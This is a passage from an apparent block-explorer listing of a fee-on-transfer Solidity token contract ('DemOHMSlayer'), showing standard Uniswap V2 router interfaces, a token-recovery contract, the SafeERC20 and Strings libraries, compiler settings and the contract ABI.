function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
文件 16 的 20:IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
文件 17 的 20:IUniswapV2Router02.sol
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
文件 18 的 20:Recoverable.sol
pragma solidity ^0.8.0;
import "./SafeERC20.sol";
import "./AccessControl.sol";
import "./Context.sol";
abstract contract Recoverable is Context, AccessControl {
using SafeERC20 for IERC20;
bytes32 public constant RECOVERABLE_ADMIN_ROLE = keccak256("RECOVERABLE_ADMIN_ROLE");
constructor() {
_setupRole(RECOVERABLE_ADMIN_ROLE, _msgSender());
}
function recoverTokens(IERC20 token) public onlyRole(RECOVERABLE_ADMIN_ROLE)
{
require (canRecoverTokens(token));
token.safeTransfer(_msgSender(), token.balanceOf(address(this)));
}
function canRecoverTokens(IERC20 token) internal virtual view returns (bool)
{
return address(token) != address(this);
}
}
文件 19 的 20:SafeERC20.sol
pragma solidity ^0.8.0;
import "../interfaces/IERC20.sol";
import "../libraries/Address.sol";
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
文件 20 的 20:Strings.sol
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
{
"compilationTarget": {
"contracts/DemohmSlayerERC20.sol": "DemOHMSlayer"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"perc","type":"uint256"},{"indexed":false,"internalType":"string","name":"name","type":"string"}],"name":"FeeAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"index","type":"uint256"}],"name":"FeeRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"perc","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"index","type":"uint256"}],"name":"FeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FeesDeducted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RECOVERABLE_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ROLE_ADMIN_STRUCTURE_CLASS","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalExcluded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalExcludedFragments","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"functionNumber","type":"uint8"},{"internalType":"uint256","name":"timeLimit","type":"uint256"}],"name":"deactivateFunctionPermanently","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"lps","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"disperse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"exclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"index","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"fbl_calculateFeeSpecific","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"fbl_calculateStateFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"perc","type":"uint256"},{"internalType":"string","name":"label","type":"string"}],"name":"fbl_feeAdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"f","type":"uint256"}],"name":"fbl_feePrecisionUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"fbl_feeRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"perc","type":"uint256"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"fbl_feeUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"fbl_getAccountState","outputs":[{"components":[{"internalType":"bool","name":"feeless","type":"bool"},{"internalType":"bool","name":"transferPair","type":"bool"},{"internalType":"bool","name":"excluded","type":"bool"}],"internalType":"struct TransactionStructure.AccountState","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"fbl_getExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"fbl_getFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fbl_getFeeFactor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fbl_getFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"fbl_getFeesOfUser","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"fbl_getIsFeeless","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"}],"name":"fbl_getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fbl_getTotalFeesForBuyTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fbl_getTotalFeesForSellTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"fbl_getTstate","outputs":[{"internalType":"enum Structure.TransactionState","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"fbl_getTxType","outputs":[{"internalType":"enum Structure.TransactionType","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"},{"internalType":"uint256","name":"option","type":"uint256"}],"name":"fbl_setAccountState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"fragmentBalanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fragmentTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fragmentsPerToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"include","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"address","name":"rec","type":"address"}],"name":"manualSnS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"v","type":"bool"}],"name":"possibleSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"recoverTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"x","type":"uint256"}],"name":"refreshBal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"perc","type":"uint256"}],"name":"setBuyLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lim","type":"uint256"}],"name":"setContractSellTarget","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"option","type":"uint8"},{"internalType":"bool","name":"v","type":"bool"}],"name":"setIsChecking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setLiquifyStats","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"perc","type":"uint256"}],"name":"setSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"v","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"p","type":"address"}],"name":"setTransferPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"perc","type":"uint256"}],"name":"setUsp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"validateRole","outputs":[],"stateMutability":"nonpayable","type":"function"}]